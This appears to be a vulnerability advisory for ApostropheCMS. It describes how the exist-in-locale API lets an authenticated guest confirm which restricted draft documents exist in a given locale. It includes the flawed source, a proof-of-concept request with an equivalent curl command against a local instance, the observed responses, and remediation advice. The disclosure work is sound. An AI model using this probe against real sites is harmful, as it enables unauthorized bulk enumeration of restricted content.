ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers

Summary ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria.

The issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records.

Details Exact vulnerable source path: packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529 Exact API route: POST /api/v1/@apostrophecms/i18n/exist-in-locale The handler verifies only that the requester is authenticated:

if (!req.user) {
  throw self.apos.error('notfound');
}

It then performs a direct database lookup using attacker-controlled document IDs, locale, and mode:

const found = await self.apos.doc.db.find({
  aposLocale: `${locale}:${mode}`,
  aposDocId: {
    $in: ids.map(self.apos.doc.toAposDocId)
  }
}).project({
  _id: 1,
  aposDocId: 1
}).toArray();

This query does not apply:

.permission('view') .permission('edit') apos.permission.criteria(req, 'view') object-level document authorization locale-specific authorization

The endpoint accepts multiple IDs, making bulk probing possible.

Proof of Concept

The local application was running at: http://127.0.0.1:3000 The test account had the low-privilege role: guest The local database contained synthetic records for the restricted document base ID:

wv2l4rbaplgzkg80zkne4aoz:en:draft
wv2l4rbaplgzkg80zkne4aoz:fr:draft

All credentials and cookies are intentionally redacted below.

POST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Content-Type: application/json
Accept: application/json

{
  "ids": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft",
    "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
  ],
  "locale": "fr",
  "mode": "draft"
}

Equivalent command

curl -i -sS -X POST \
  'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \
  -b /path/to/redacted-guest-cookie-jar.txt \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json' \
  --data-raw '{
    "ids": [
      "wv2l4rbaplgzkg80zkne4aoz:en:draft",
      "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
    ],
    "locale": "fr",
    "mode": "draft"
  }'

Observed response

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8

{
  "originalLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft"
  ],
  "newLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:fr:draft"
  ],
  "aposDocIds": [
    "wv2l4rbaplgzkg80zkne4aoz"
  ]
}

The nonexistent ID was omitted from the response. This proves that the endpoint acts as an existence oracle.

Authorization control Using the same authenticated guest session and the localized document identifier returned above, the normal page API was requested:

GET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Accept: application/json

Observed response:

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8

{
  "name": "forbidden",
  "data": {},
  "message": "forbidden"
}

This demonstrates the authorization boundary clearly:

Additional impact validation

The behavior was also tested across multiple locale and mode combinations:

This confirms that the endpoint can be used to discover whether a document has a localized draft in a particular locale and to perform bulk enumeration.

Impact A low-privilege authenticated user can: Probe arbitrary known or guessed document base IDs. Determine whether restricted documents have localized versions. Determine whether unpublished draft versions exist. Identify which locales contain matching records. Obtain exact localized document identifiers. Submit multiple IDs in one request for bulk reconnaissance. The issue does not directly disclose the document body or grant write, publish, or delete privileges. During testing, no content was modified, published, deleted, or exposed beyond the identifier metadata.

Recommended remediation Before executing the database lookup, apply the same document-level authorization criteria used by the normal document API. The query should be restricted to documents the requester is authorized to view in the requested locale and mode. Draft queries should additionally require the appropriate draft-view permission for the specific document, not merely authentication or a global role check. The endpoint should also avoid returning localized document identifiers for records that fail the requester’s document-level permission criteria.

[1] ApostropheCMS i18n source — existInLocale handler, lines 503–529

[2] Official ApostropheCMS i18n API documentation